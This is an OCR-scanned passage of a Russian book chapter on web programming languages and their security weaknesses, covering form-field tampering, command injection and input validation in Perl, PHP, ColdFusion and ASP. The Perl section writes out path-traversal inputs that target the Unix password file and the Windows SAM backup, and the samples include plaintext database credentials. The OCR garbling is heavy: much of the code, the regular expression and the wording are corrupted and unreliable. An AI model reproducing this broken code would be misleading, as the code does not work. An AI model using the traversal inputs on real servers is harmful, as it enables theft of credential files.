Книга
Книга
Глава 1. Языки программирования для Web: Вавилон XXI столетия
Введение
Языки Web
HTML
Динамииеский HTML (DHTML)
XML
XHTML
Perl
PHP
ColdFusion
Страницы ASP
CGI
Java
Использование Java на сервере
Резюме
Языки Web
Для того чтобы два компьютера могли ,,общаться,* друг с другом, они должны быть правильно запрограммированы и ,,говорить,* на одном языке. Существует множество популярных языков Web, и каждый из них имеет свои преимущества и недостатки. С одной стороны, легкий и простой в изучении язык HTML является, возможно, наилучшим выбором. Он имеет простой стиль и основывается лишь на нескольких сложных концепциях. С другой стороны, если нужно обеспечить интерактивность, динамическое обновление данных и сложное графическое отображение информации, лучше воспользоваться языком Java. Однако в любом случае для понимания способа взаимодействия Web-сервера с клиентским броузером (а следовательно, для нахождения уязвимых мест в реализации этого процесса) необходимо иметь представление об основных технологиях.
В этой главе обсуждаются наиболее популярные языки Web. Это далеко не исчерпывающий список, но его вполне достаточно для того, чтобы разобраться с основными концепциями, положенными в основу большинства подобных языков программирования.
Рассматриваемые ниже языки являются основой большинства технологий, формирующих инфраструктуру Web. Поэтому познакомиться с ними чрезвычайно важно.
HTML
Расширения файлов: .htnl, ・ht・, .html4
Язык гипертекстов ой разметки HTML (HyperText Markup Language) предложен Тимом Бернерсом-Ли (Tim Berners-Lee) в 1989 году и является фундаментом Internet. Почти на каждом существующем Web-узле HTML используется для отображения текста, графических объектов, воспроизведения звуков и анимации. Соответствующая спецификация поддерживается консорциумом W3C (World Wide Web Consortium, http://www.w3.org).
Хотя HTML и является относительно новым, он основывается на более старом языке разметки SGML (Standard Generalized Markup Language). Предпосылки развития HTML возникли на десять лет раньше, когда Билл Аткинсон (Bill Atkinson) изобрел гиперкарту для компьютеров Macintosh и операционной системы MacOS. Она обладала свойством, положенным позднее в основу HTML. Для этой карты использовалась гиперсвязь слова или области страницы с другой областью или страницей. Это очень простая концепция, однако ранее она на практике широко не применялась.
В языке HTML определен набор дескрипторов, с помощью которых можно установить способ отображения элементов, передаваемых броузеру. Уже давно не является секретом тот факт, что простые и кажущиеся безобидными элементы HTML можно использовать для получения неавторизованного доступа к Web-серверам. В табл. 1.1 приведен список дескрипторов HTML и указано их влияние на безопасность.
При использовании других дескрипторов HTML также может возникнуть риск нарушения безопасности. Однако приведенный в табл. 1.1 список является хорошей отправной точкой для понимания проблем безопасности, связанных с использованием HTML. Полный список дескрипторов HTML и описание их применения содержится в спецификации HTML 4.01 консорциума W3C, которую можно найти по адресу: http: //www.w3c.org/TR/html401 /.
Советы по обеспечению максимальной платформенной независимости Web- узла предоставляются соответствующей интерактивной службой W3C (HTML Validation Service, http://validator.w3.org). Для получения аналогичной информации можно также воспользоваться программой HTML Tidy Дэйва Раджета (Dave Raggett, http://www.w3.org/People/Raggett/tidy/).
Таблица Атрибуты дескрипторов HTML и их влияние на безопасность
Дескриптор/атрибутВлияние на безопасность
<form>Форма для пользовательского ввода
Всякий раз, когда программе передается введенная пользователем информация, возникает риск нарушения безопасности. Именно таким образом и выполняется большинство атак: программе передаются неожиданные символы, при- воАщие кее неправильной работе
<fonr1 action> Атрибут action
Этот атрибут дескриптора <form> определяет программу, выполняемую на Web-сервере. Зная имя программы, обрабатывающей пользовательские данные, взломщик может получать важную информацию о №Ь*сервере а также найти резервные копии или старые версии этой программы в том же или в другом каталоге
Дескриптор/атрибут
Влияние на безопасность
<form method>
Атрибут method
Этот атрибут дескриптора <fonn> определяет механизм передачи пользовательской информации программе обработки, находашрйся на Web-сервере. Существует два метода передачи информации: POST и GE Определив используемый метод, взломщик может прослушивать информацию (которая может оказаться очень важной) или, что еще хуже, выполнить ее подмену и привести к генерации неверных результатов. Мегодэ GET и POST будут обсуждаться в главе 3
〈script language二
Язык сценария
〈переменная»
Дескриптор <script>, используемый вместе с атрибутом language, позволяет взломщику изменять любые клиентские сиц^рии, передаваемые броузеру. Если взломщику удастся это осуществить, то он сможет обойти опродрленные сценарии, выполняющие фильтрацию или проверку передаваемых значений. К языкам клиентских сценариев относятся следующие:
JavaScript;
VBScript;
Jscript;
•XML
<input>
Управляющий элемент формы
Дескриптор <input> позволяет создавать управляющие элементы формы для ввода данных. Можно изменить некоторые атрибуты и передать нежелательные данные на Web-сервер
〈input
АтрибутХуре
type=hidden>
Этот атрибут со значением hidden позволяет взломщику задать для атрибута value нежелательное значение. Например, на некоторых Web-узлах скрытый атрибут используется для хранения цены товара из торговой тележки. Взломщик может вручную изменить цену этого товара. Если на сервере не выполняется проверка значения цены, то в интерактивном магазине можно будет покупать товары по существенно сниженным ценам
<input inaxlength*
Атрибут maxlength
беременная»
Изменив атрибут maxlength, взломщик сможет передавать на сервер длинные строки, что приведет к его блокировке, если отсутствует механизм предари- тельной обработки входных данных
<input size=
Атрибут size
беременная»
Как и maxlength, этот атрибут взломщик может изменить. При этом появится возможность передачи на сервер длинных строк, которые при отсутствии их предарительной обработки приведут к блокировке сервера
<applet>
Аплет Java
Этот дескриптор используется для запуска аплетов Java. Поскольку аплет передается в незашифрованном вцде и в нем содержится хорошо известный байткод, в сетевом трафике его можно обнаружить с помощью анализатора пакетов wna snort или EtherPeek. Для получения более подробной информации оде- компиляции аплетов Java и использовании дескриптора <applet> читайте раздел, посвященный Java, ниже в этой главе
Дескриптор/атрибут
Влияние на безопасность
<object>(
Эбычно этот дескриптор используется для запуска управляющих элементов ActiveX, но может применяться также и для аплетов Java. Взломщик может отправить электронное сообщение с внедренным кодом HTML, "заставить" пользователя запустить элемент управления ActiveX и захватить управление системой. Элемент <object> является наилучшим способом распространения почтовых вирусов
<embed>
Этот дескриптор обычно используется совместно с дескриптором <object> и предназначен для работы с элементами управления ActiveX и дополнительными „модулями Netscape
Динамический HTML (DHTML)
Расширения файлов: .dhtsl
Язык DHTML зачастую рассматривается как объектная версия HTML. Этот язык расширяет HTML и предоставляет новый уровень управления элементами страницы, обеспечивая доступ к ним и возможность модификации с использованием таких языков сценариев, как JavaScript или VBScript. Например, в дескрипторе графического изображения <i»g> можно указать обработчик события onMouseOver, который будет активизироваться при перемещении указателя мыши над картинкой. Одним словом, DHTML позволяет разработчику Web - приложений быстро создавать анимационные и другие эффекты, использовать текст с анимацией или динамическое изменение цвета. В аспекте обеспечения безопасности DHTML порождает те же проблемы, что и HTML, поскольку базируется на нем.
XML
Расширения файлов: .xml
Как и HTML, расширяемый язык разметки XML (extensible Markup Language) тоже основан на стандартном обобщенном языке разметки SGML. Но, в отличие от своего строго определенного и стандартизованного собрата, он менее ограничен. В нем можно определять собственные дескрипторы и тем самым самостоятельно расширять язык.
Основой такого расширения являются документы DTD (Document Type Definition), которые по своему функциональному назначению подобны библиотеке определения структуры информации реляционной базы данных. Документ DTD определяет начальный и конечный дескрипторы файла XML и обеспечивает подцержку семантики данных. Например, для определения структуры данных, используемой дилером по продаже автомобилей, можно задать следующее определение DTD:
<!EL£MEMT Inventory (Car*)>
<I ELEMENT Car ( Make, Model, Color, Owner*)>
<I£L£MZXT Make (»PCDATA>>
<IELD<m Model (|PCDATA)>
<!ELEMENT Color "PCDATA)》
<1 ELEMENT Owner “PCDATA)>
Файл XML с данными может иметь следующий вид:
<?»nl version»*1.0* ?>
<!EOCTYPE Inventory PUBLIC 〃•〃 #Inventory.dtdw >
<Inventory>
<Car>
<Make>Bonda</Nake>
<3todel>Civic</Mod»l>
<Color>Red</Color>
<Ovner>Jack 5сдп1у</(Хтег>
<0vner>Jane Scanly</Ovner>
</Car>
<Car>
<Make>Ni вмп</Иак«>
<Model>Naxijia</Nodel>
<Color>Black</Color>
<Ovner>Mike Snith</Ovner>
</Car>
</Inventory>
В приведенном коде представлено содержимое склада небольшого автомобильного агентства. В наборе данных указано всего два автомобиля — Honda Civic красного цвета и Nissan Maxima черного цвета. Обратите внимание, что у автомобиля Civic два владельца. В спецификации DTD допускается определять множество владельцев. Для этого рядом с именем Owner нужно указать символ звездочки (*).
<1 ELEMENT Car ( Make, Model, Color, Owner*)>
Приведенный пример дает общее представление о XML. Этот язык является еще достаточно новым, поэтому сейчас нет смысла упоминать о связанных с его использованием проблемах обеспечения безопасности. Однако следует быть готовым к решению проблем, поскольку хакеры уже начинают проявлять к нему определенный интерес.
XHTML
Расширение файлов: .xhtal
Согласно материалам консорциума W3C, HTML 4 является финальной версией известного и широко распространенного языка. Следующая версия HTML будет переформулирована и расширена за счет включения определения и структуры XML. Другими словами, эти два языка будут объединены в XHTML, и W3C продолжает управлять разработкой соответствующих стандартов. Полную спецификацию XHTML 1.1 можно найти по адресу: http://www .w3c.org/TR/xhtmlll/. КакиХ М L, языкХНТМЬ находится на начальном этапе своего развития. Поэтому степень его защищенности еще не подвергалась скрупулезной проверке.
Perl
Расширения файлов: .pl или любое
Этот высокоуровневый язык программирования (часто называемый языком сценариев) в 1987 году был создан Ларри Волом (Larry Wall). В настоящее время Perl (Practical Extraction and Report Language) является наиболее переносимым языком сценариев, который можно использовать в системах AS/400, Windows 9X/NT/20O0/XP, OS/2, Novell Netware, на компьютерах компании IBM MVS, суперкомпьютерах Cray, Digital VMS, MPE/ix от компании Hewlett Packard, в системах Linux, Tandem, MacOS и всех версиях Unix. Переносимость Perl, его низкая стоимость (он распространяется бесплатно) и робастность способствовали его широкому применению в Internet. Это послужило одной из наиболее значимых причин взрывного разрастания всемирной сети.
Язык Perl чрезвычайно устойчив и гибок. Его можно использовать для выполнения серверных операций, реализации клиентских сценариев или создания автономных
приложений, например универсального диспетчера списков рассылки. Однако основное назначение Perl состоит в управлении серверными сценариями Web-узлов. Вместе с тем безопасность никогда не являлась отличительным свойством этого языка. В результате для Web-узлов, на которых используется Perl, свойственны различные изъяны подсистемы обеспечения безопасности. Правда, при этом имеется несколько путей снижения риска нарушения безопасности.
Программный код на языке Perl может быть как очень простым, так и крайне сложным. Для более близкого знакомства с этим языком рассмотрим сценарий, который можно запустить из командной строки для вывода на экран сообщения “We love Perl!” (мы любим Perl). Из всех возможных путей решения этой задачи представлен один из наиболее простых вариантов.
i Сценарий Perl, предназначенный для получемая сообжвнкя
* и вывода его на экран.
I
(par*s = €ARGV;
$msg 二 $pams[0);
print "$esg八口";
Рассмотрим отдельно каждую строку.
gparms = tARGV;
Здесь параметры, заданные в командной строке, помещаются в массив ?parms.
$msg f $par*s(0]:
В этой строке переменной $msg присваивается значение, содержащееся в элементе массива Aparins.
print "msgl'n*;
В этой строке содержимое переменной $msg выводится на зкран. При этом к нему добавляется восютицательный знак и символ перевода строки. При запуске программы из командной строки на зкране отображается следующая информация:
C:\te»p>perl love-perl.pl "Vfe love Perl" We love Perl!
C:\tenp
В приведенном примере интерпретатор Perl запускается в локальной системе, а сценарий — из командной строки. Однако в Web такой подход используется чрезвычайно редко, посколысу при выполнении большинства сценариев Perl в качестве механизма взаимодействия с Web-броузером используется интерфейс CGI (Common Gateway Interface — интерфейс общего шлюза).
Как правило, язык Perl используется для обработки данных, введенных пользователем в полях формы. В качестве примера рассмотрим форму, в поля HTML <input> и <textarea> которой пользователь может вводить данные.
<form method二POST ас11оп»*/сд1-Ып/яа111о.р1и></£огл>
<htal>
Bnail Address:
<input value," size=60 naxlength«60 nane="form">
Your message:
<textarea iwune・"body" rovs・M cols=50 eiie^SOO* Baxlength^SOOx/textare^
《input type*subeit value-^send m11*>
</html>
Затем введенная информация передается Perl-программе (т.е. mailto.pl) с помощью метода POST, указанного в дескрипторе <form>.
<forn Mthod*POST actione*/cgi-bin/aailto.pl*></fогв>
После этого сценарий raailto.pl выполняет необходимые действия и возвращает сгенерированные данные обратно броузеру. Чрезвьиайно ясная и простая процедура.
Если вы уже используете Perl в качестве языка серверных сценариев или только планируете это осуществить, учитывайте ряд рисков нарушения безопасности и соответствующие контрмеры.
Удостоверьтесь, что Web-серверы не запускаются с административными привилегиями, т.е. с правами учетной записи root (Unix) или Administrator (Windows). В противном случае существует опасность выполнения взломщиком команд с высобсими привилегиями.
Всегда выполняйте предварительную обработку значений полей. Определите для приложения список допустимых алфавитно-цифровых символов, а затем отфильтровывайте любые символы, не принадлежащие этому набору. Например, если существует поле, предназначенное для ввода адреса электронной почты, то для выявления некорректной информации можно воспользоваться шаблоном регулярного выражения. Это позволит выявить ошибку и сообщить пользователю о необходимости корректировки входных данных. В любом электронном адресе допустимы следующие символы: a..z. А./, 0-9, только один символ 2, дефис (-), символ подчеркивания (_) и точка (.). Ниже приведено простое выражение, позволяющее выявить опасный замысел, в рамках которого используется поле для ввода электронного адреса.
if ($еш!1 Г Z*(\w.-|+\«[\w.-]*$/H
print *<br><br>IВнимание: в вашем электронном адоесе обнаружена опмбка. Введите данные еще раз.<Ьг>"
} else {
* Выполнение оставшейся части сценария Perl
Если этот фрагмент кода с регулярным выражением вам ничего не говорит, то его можно расшифровать следующим образом:
/4 Начало регул5трного выражения
•Задает начало строки
[IОпределяет начало списка символов
\vЮпределяет алфавитно-цифровойсимвол (включая "_")
•Юпределяет точку “ •"
Определяет черточку или дефис 〃-"
]fКонец списка символов
+$ Задает 1 или больше символов из преды^щего списка
\0tCooTBercTByeT символу "&"
[(Определяет начало спискасимволов
\siЗадает буквенно-цифровой символ (включая “ *)
• Надает точку "."
Надает черточку или дефис"-"
]*Конец списка символов
+iЗадает 1 или больше символов из предыдущего списка
$fЗадает конец строки
/Жонец регул5трного выражения
Если условие 广,задаваемое в выражении Perl, не выполняется, то сценарием возвращается сообщение об ошибке и пользователю придется исправить введенную информацию.
Ограничьте использование локальных команд операционной системы. При передаче параметров фунвдии open(), systeB(), fork)) или ехес() могут оказаться: ,,cмepтeльными,,, посколысу позволяют взломщику выполнять команды. Если
эти функции использовать все же необходимо, обязательно проверяйте входные переменные, как упоминалось выше.
В системах Unix не стоит использовать значения переменных окружения. Вместо этого задавайте значения переменных $РАТН и $IFS только в файлах сценариев.
$ENV{*path**} = Л/Ып: /ивг/bin: /usr/local/bin: /opt*;
$DiV{*IFS*)二“厂;
Если вы не осуществляете явное управление этими переменными, взломщик сможет изменить их значения и заставить программу выполнить другую команду, а не ту, которая планировалась.
Проверяйте размер входных переменных или данных, введенных в поля формы. Для этого необходимо либо проверять длину переменных, передаваемых в программу, либо использовать поле $ENV{CONTENT LENGTH} для ограничения размера данных, передаваемых в запросах POST (а иногда и GET). Если этого не сделать, взломщик сможет отправить в переменной большое количество данных и привести к краху Web-сервера, системы или, что еще хуже, добиться переполнения буфера и удаленно выполнить произвольные команды.
Попробуйте отказаться от приема пути из полей формы. По крайней мере убедитесь, что путь является относительным, а не абсолютным. Кроме того, отслеживайте символы точки (..) или прямой/обратной косой черты (/ или \). В противном случае взломщик сможет сгенерировать запрос на получение файла паролей системы Unix
.•/•./.«/«./••/<./../etc/passvd
или запрос на получение резервной копии файла SAM системы Windows
••/../../.•/••/.•/•«/winnt/repaire/san.^
По возможности используйте проверку допустимости используемых значений переменных.
По умолчанию сценарии Perl хранятся в виде незашифрованного текста. Поэтому после взлома Web-сервера можно прочитать файлы Perl и извлечь из них различную информацию, например имена пользователей и пароли для доступа к базе данных. Несколько программ, например Рег12ехс (http://www.perl2exe.com), позволяют скрыть код Perl. При их использовании создается независимый исполняемый файл (.ехе), из-за чего становятся ненужными исходный код Perl и интерпретатор.
Вообще, защита сценариев Perl имеет решающее значение, поэтому найдите или разработайте самостоятельно хорошую функцию анализа входных данных и применяйте ее для проверки значения каждого поля пользовательской формы. Для получения более подробной информации о защите сценариев Perl обращайтесь по адресу: http://www.w3.org/Security/Faq/,
PHP'••
Расширения файлов: ・php, .php3 либо без расширения
Хотя у языка PHP было несколько авторов, истоки его развития заложил Расмус Лердорф (Rasmus Lcrdorf) В 1995 году он разработал первый синтаксический анализатор PHP, который, по существу, представлял собой CG1 - программу на языке Perl. Расмус назвал ее персональной домашней страницей (Personal Home Page) или просто PHP. Эта программа была создана для регистрации посетителей его страницы -резюме в Web. Позже программа была полностью переписана на языке С и стала гораздо больше. В ней были улучшены возможности синтаксического анализа и добавлены
средства доступа к базам данных. За прошедшие годы в развитие языка PHP внесли вклад другие программисты, в том числе Зив Шураски (Zeev Suraski) и Энди Гутмане (Andy Gutmans), которые переработали модуль синтаксического анализа и создали PHP версии 3.
За исБслючением страниц ASP и сценариев Perl, PHP является одним из наиболее распространенных языков серверных сценариев. Язык PHP чрезвычайно разносторонний и может применяться для создания приложений, не связанных с Web. Тем не менее этот язык наиболее часто используется на Web-серверах системы Unix (например, Apache; http://www.apache.org) как средство реализации серверной подсистемы обработки данных.①актически, это наиболее часто используемый модуль Apache (http: / /ww. security space. con/ s_su rvey/data/вап .200111 /apachenode. htnl). В именах файлов PHP могут использоваться произвольные расширения, однако, как правило, применяются следующие:
•・php;
.php3.
Для начального знакомства с кодом PHP рассмотрим фрагмент, в котором команда PHP echo используется для вывода строки "Hello World!" в пользовательском Web- броузере.
<1— Пример исоользов&яия PBF в коде HTML
<1— Выводит строку "PHP Example: Hello World 1" в броузере
<htBl><headxtitle> PHP Exaople</titla></head>
<?php
echo "<brx±l>Hello World iSrx/hl»-; ?>
</html>
Обратите внимание: язык PHP очень напоминает Perl. Строки 1 и 2 представляют собой комментарии HTML, о чем говорят десБфигггоры <1— В строке 3 содержится последовательность десБсрипторов HTML <html>, <head> и <title>. В строках 4, 5 и 6 содержится код PHP. Он начинается в строке 4, на что указывает опсрывающая угловая скобка (<?). В строке 5 приведен код PHP, предназначенный дпя вывода на экран строки "Hello World”. В строке 6 содержится закрывающая скобка (?>), соответствующая от- Бсрывающей скобке строки 4. В следующем примере содержится простой код PHP, после анализа которого можно легко выявить используемые на Web-узле технологии.
// Открытие соединения SQL
$совп = oysql^eonnect(м 10.1.1.1*, *м*, "диеияю") or die(oyflqlerror());
9nysql_selectjib(Minventory<,) or die(my6qlerror());
// SQL-запрос
$data 二 nysql_query( MSKLBCT * FROM autos#) or die(ByBqlerror());
// Печать данных в формате HTML
print *<table>\n*;
while ($row ・ mysql_ fetch/ow ($data))
print *<tr>\n*;
print *<td>$row(0|</td>\n*; print *<td>$row(l]</td>\D*;
print *<tr>\nw;
print *<tible>\n";
// Закрытие соединения SQL
mysql^1。“( $coad);
Примечательно то, что языкам PHP и Perl присущи схожие недостатки. Если в сценарии обрабатываются входные данные, переданные из Web-броузера для генерации запроса к базе данных, вызовы systesnf), passthry(), shellexec(), ехес() или включения SSI, то взломщик может воспользоваться слабой проверкой значений переменных и заставить модуль PHP вьшолнить непредусмотренные действия, в том числе произвольные команды. Чтобы ограничить потенциально опасное воздействие, не забудьте включить в состав программ синтаксического анализа процедуры жесткой проверки входных данных. Как и при использовании Perl, в коде PHP можно (и нужно) использовать регулярные выражения для выявления злонамеренной информации в полях ввода и при необходимости генерировать сообщения об ошибке. В следующем фрагменте кода функция preg_match() используется для сравнения значения $ string с регулярным выражением. Эту функцию можно использовать для анализа значения числового поля.
if (ргед^паиЬС^/^О-ЭИ^/!*, ^string))
“ echo "Обнаружена ошибка в числовом поле\п*;
return 1;
break;
Следующий фрагмент может оказаться полезным для анализа строкового поля:
if (preg match(#/*[a-20-9]^$/iwl $string))
return 1;
break;
Дополнительную информацию о PHP и соответствующие программные модули можно получить по адресу: http://wwv.php.net.
ColdFusion
Расширения файлов: . cfn
Это система разработки Web-приложений от компании AJIair (http://www.allair.ccm) Ее самой новой версией является ColdFusion 5. В состав этой системы входит три основных компонента: сервер приложений (^plication Server), язык разметки (Markup Language) и интегрированная среда разработки (Studio). Для повышения уровня защиты от взлома нужно разобраться с основными принципами функционирования каждого из этих компонентов.
Сервер приложений ColdFusion
Сервер приложений — это ядро системы ColdFusion. Его можно использовать как на платформе Windows, так и Unix. Сервер приложений запускается на Web-сервере и обрабатывает запросы страниц ColdFusion. Любой дескриптор ColdFusion перехватывается и обрабатывается сервером приложений.
Язык разметки ColdFusion
ColdFusion (ColdFusion Markup Language — CFML) является серверным языком, который и составляет мощь ColdFusion. В языке CFML используются соглашения HTML по использованию дескрипторов и передаче параметров в качестве их атрибутов. CFML используется совместно с сервером приложений для создания таких Web - прил ожений, как виртуальные торговые тележки, интерактивные банковские счета и т.д. Сервер приложений распознает расширение ,CFM.
Подобно файлам PHP и Perl, файлы CFM по умолчанию хранятся в виде незашифрованного текста. Это означает, что любой человек с соответствующими правами, в том числе полученными несанкционированно, может просматривать эти файлы.
В этом случае взломщик может завладеть конфиденциальной информацией, например именами пользователей и паролями, и получить доступ ко всем пользовательским данным (например, номерам кредитных карточек, кодам социального страхования и др.).
Код CFM похож на HTML тем, что в нем также используются дескрипторы, предоставляющие разнообразные возможности, например подключение к базе данных, подцержку протоколов POP (Post Office Protocol) и SMTP (Simple Mail Transfer Protocol), а также подцержку объектной модели компонентов COM (Component Object Model). Кроме того, существуют дополнительные модули от сторонних производителей, которые предоставляют дополнительные функции. Например, дая выполнения запроса SELECT к базе данных можно использовать следующий фрагмент кода CFM:
〈CFQUERY DATASOURCE»* inventory" KMffi4*autO!ioblle8#>
SELECT auto_id, auto make, auto model, auto color FROM autos WHERE auto id 二 iURL.auto id,
</CFQUERY>
Обратите внимание, что дескриптор <CFQUERY〉имеет атрибут DATASOURCE, в котором задается используемый в запросе источник данных ODBC. Атрибут NAME используется для дополнительной настройки соединения ODBC. Имея общее представление о структуре запроса, взломщик может попытаться реализовать атаку на базу данных, сгенерировав нестандартный запрос. Например, переменная URL. auto_id используется для передачи автоматически сгенерированного идентификационного номера, указанного в адресе URL (дая получения более подробной информации о командах GET и POST обратитесь к главе 3). При использовании следующего адреса URL будет сгенерирован запрос к базе данных с параметром auto id, принимающим значение 1: http://ww.oui^le.cca/cfB/get.cfiD?autovid=l
Как будет неоднократно отмечаться на протяжении всей книги, при отсутствии проверки корректности данных в серверной части приложения взломщик может передать на сервер любые данные.
Для отображения информации, полученной в результате обработки предьщущего запроса SQL, нужно воспользоваться массивом automobiles.
<HBAD>Autosobi1е Inventory</BBAD>
<CFOOTPDT Query»*autceobile8*>
<LI>fauto_makelt fauto_modeU# *auto_color*f (iauto^idl)</LIxBR>
</cpoutpvt> -
Поскольку в рассматриваемом примере информация содержится в базе данных inventory, сгенерированный в качестве результата обработки запроса код HTML будет иметь следующий вид:
Automobile Inventory
-Honda, Civic, Red, (1)
-Honda, Accord, Blue, (2)
-Nissan, Sentra, Black (3)
Обратите внимание, что данные, генерируемые с использованием дескриптора <CFOUTPUT>, почти всегда представляют собой код HTML. В данном случае слово "гютти” означает, что всегда существует возможность обмана сервера приложений и получения исходного кода CFML. Однако это скорее исключение, чем правило.
ColdFusion Studio
Это интегрированная среда разработки (Integrated Development Environment — IDE), предназначенная для создания Web-страниц и приложений.
При совместном использовании компоненты ColdFusion Application Server, Markup Language и Studio создают идеальные условия для организации взлома. При этом основные проблемы связаны с файлами примеров и отсутствием проверки входных данных. Многие атаки на серверы ColdFusion, о которых сообщалось ранее, оказались успешными из-за непрофессионально написанных примеров сценариев, которые позволяли взломщикам загружать файлы, просматривать содержимое файлов и исходный код, управлять Web - службами и выполнять произвольные команды. Для решения всех этих проблем просто стоит удалить входящие в комплект поставки сценарии и всегда выполнять проверку значений полей ввода.
Страницы ASP
Расширения файлов: .asp
Активные серверные страницы ASP (Active Server Pages) являются технологией создания серверных сценариев, разработанной компанией Microsoft. В основном они предназначены для использования на Web-сервере IIS (Internet Information Server) этой компании и в целях создания динамического содержимого Web-узла позволяют совместно использовать код HTML, сценарии и серверные компоненты ActiveX. Как и при использовании Perl, PHP и CFM, язык ASP позволяет выполнять код на самом Web-сервере. При этом конечному пользователю не требуется никаких дополнительных знаний. ASP напоминает другие языки серверных сценариев, которые рассматривались выше, и позволяет генерировать запросы к базе данных, а также выполнять команды локальной системы.
По умолчанию в качестве языка ASP используется VBScript, который представляет собой версию популярного языка Visual Basic, предназначенную для написания сценариев. Он используется почти во всех программных продуктах компании Microsoft. Язык VBScript менее надежен, чем его предшественник, но предоставляет необходимые средства для создания динамических Web-страниц.
Существует две базовые версии языка Visual Basic: для разработки серверных сценариев и клиентских сценариев. На страницах ASP серверные фрагменты кода обрамляются дескрипторами <Н и *>, а в коде HTML клиентские сценарии размещаются между дескрипторами <5cript>. Например, если необходимо, чтобы сервер IIS на Web-странице вывел текущую дату и время, можно воспользоваться следующим фрагментом кода:
<"langiwgiVBScript" 1>
<btal>
<body>
<hl>Welcorae to server-side date:</hl>
<8 二date l>
<hl>And to server-side ti«e:</hl>
<2 «time l>
</body>
</html>
Рассмотрим приведенный фрагмент подробнее. Первый дескриптор, <Qg, является сокращенной версией обязательного дескриптора <script languagu^^VBScript" runat= “Server"〉,который позволяет указать тип используемого серверного языка. Самой главной частью представленного кода ASP является строка <1 =date А>, которая сообщает серверу о том, что необходимо запустить функцию VBScript date{) и передать полученный результат клиенту. Результат работы отображается в окне клиентского Web-броузера, как показано на рис. 1.1.
Не забывайте о том, что весь рассматриваемый фрагмент кода находится на сервере. Для того чтобы в клиентской части приложения можно было выполнить те же действия, нужно использовать следующий фрагмент кода:
<html>
<body>
<»cript type«#text/vbBcript#>
docurent.write ("<hl〉Welcoew to client-side date: </hl>*)
docurnnt. write (<r<br>,v & date () & *<br>*)
document.vrite(#<hl>And to client-side time: </h】>")
document.write(#<br>w & time() & "<br>")
</script>
</body>
</htel>
Puc. 1.1. Результат использования функции date()языка VBScript
Стоит отметить, что в клиентском сценарии нельзя применять дескриптор <Н или атрибут runat дескриптора <script>. Вместо этого для вывода даты и времени на экран нужно использовать специальные функции VBScript (date() и tiwe() соответственно). Недостатком Web -приложений, в которых применяются клиентские сценарии, является возможность использования этих сценариев для достижения злонамеренных целей. Скоро вы узнаете, как это осуществить.
Взаимодействие с базами данных
При использовании технологии ASP обращение к базам данных выполняется не так тривиально, как с помощью средств ColdFusion. Однако в общих чертах все же следует разобраться с тем, как это происходит. Во-первых, информация о соединении очень важна в аспекте безопасности, поскольку в ней содержатся имена источников данных (Data Source Names — DSN), пользовательские имена и пароли для доступа к данным. Во-вторых, важные данные могут содержаться либо в самом файле ASP, либо в файле global«asa.
Строка Connectionstring
Приведенный ниже фрагмент кода демонстрирует, как устанавливается соединение с базой данных.
<object runatwServeL idiSrm" prog id*4* ADODB. ConMction*>
</object>
<IQ language = VBScript t>
<html>
<body>
Q Session(*ConnectionStrid?w)二 wdsnaAutos;uid*sa;pvd^guessne;APP«ASP Script" Сопл.Open Sea8ion(4*ConnectionString,r)
SQL 二"Select * FROM Autos WHERE auto^coloi^ * biack *"
Set RS 二 Coon.Execute(SQL)
Do While Not RS.EOF l>
<table bordercolor=dlack border=2>
<tr>
<td>
<l-RS(*auto_idw)l>
</tdxtd>
<I®RS(*auto_eake#)“
</tdxtd>
<I=RS(*auto_nodel*)»
</tdxtd>
<lsRS(*auto color*)» </td>
<br> a
RS.MoveNext
Loop %> </tr> </table> </body> </html>
Из строки Session (“Connectionstring") видно, что имя источника данных; имя пользователя и пароль в виде незашифрованного текста хранятся в самом ASP-файле. Если взломщику каким-то образом удастся получить доступ к этому файлу или заставить Web-сервер передать соответствующий исходный код, он получнт прямой доступ к базе данных. Результаты работы приведенного выше кода будут отражены в окне броузера, как показано на рис. 1.2.
Рис. 1.2. Информация из базы данных автомобилей, полученная с помощью файла database.asp
При использовании второго сценария взаимодействия с базой данных размещать в файле ASP строку с информацией о соединении в текстовом виде уже не требуется. В этом случае вызовы функций переносятся в общий файл global, as а, который должен размещаться в корневом каталоге приложения ASP (т.е. c:\inetpub\wwvroot или c:\inetpub\scripts). Как правило, для того чтобы внесенные в файл global .asa изменения вступили в силу, требуется перезагрузить Web-сервер.
В файле global.аза содержатся объявления объектов, переменных и методов, используемых во многих сценариях Web-броузера, включая сценарии JavaScript, VBScript, JScript и PcriScript. В этом файле могут описываться также события приложения и сеансов, а также объявления <object> и библиотеки типов (Type Library).
Для того чтобы избежать размещения информации о соединении в файле ASP, ее можно поместить в файл global.asa, который хранится в корневом каталоге Web-сервера cs \inetpub\wvwroot. Это позволит надежно скрыть конфиденциальную информацию.
<SCRIPT LANGUAGE-VBScript R(JNAr-Server>
Sub Session_OnStart
Sea Bion (tf Connect iooSt ring") = tfDSNaAntos; UlOea; PWD^^uts sne; APP^ASP script"
Ses sion(^Connect!onTineouf*) = 15
Session ^Comn^ndriAeout") = 30
End Sub
</SCRIPT>
Обратите внимание, что строка Session(^ConnectionString*) целиком вставлена в файл global.asa. После этого аналогичную строку в файле ASP (и в любом другом файле ASP, который обращается к тому же источнику данных) можно удалить.
Элементы управления ActiveX
Элементы ActiveX относятся к объектной модели компонентов COM (Component Object Model). Это еще один механизм, разработанный компанией Microsoft для передачи динамического содержимого в Web. Кроме того, существуют также встраиваемые модули компании Netscape.
Элементы управления ActiveX могут разрабатываться на многих языках программирования, включая C++, Visual Basic и Java. С использованием технологии ActiveX можно создавать объекты с динамическим содержимым, например часы, изображения с анимационными эффектами и соединения с базами данных. Опасность элементов ActiveX заключается в том, что они размещаются в программах-контейнерах, таких, как Microsoft Office.
В отличие от большинства упоминавшихся выше языков программирования Web, элементы ActiveX нельзя создавать в простых текстовых редакторах, поскольку они должны компилироваться и помещаться в файлы .САВ в интегрированной среде разработки IDE, например C++/MFC или Visual Basic. Созданный один раз, САВ-файл и соответствующий идентификатор CLSID должны использоваться в файле HTML, в котором выполняется загрузка элемента управления ActiveX. Ссылка создается с использованием дескриптора HTML <object> и его атрибутов CLASSID и CODEBASE. В следующем фрагменте кода с помощью управляющего элемента ActiveX воспроизводится файл QuickTime.
<OBJECT CLASSIt>*clsid:02BF25D5-8C17-4B23-BC80-D348aABDDC6B#
WIDTH-*! 60,rHEIGBT»<144•^
CODEBASEe4*http://www. ехалрХе. com/activex/movie-plugin. cab">
<PMAM nane-^SRC* VALUE»*sample .aov*»
<PARAM nane-^AUTOPLAT* VALUB-*true*>
〈PARAM nane^^CONTROLLER* УА1ЛЕ=Га1§е">
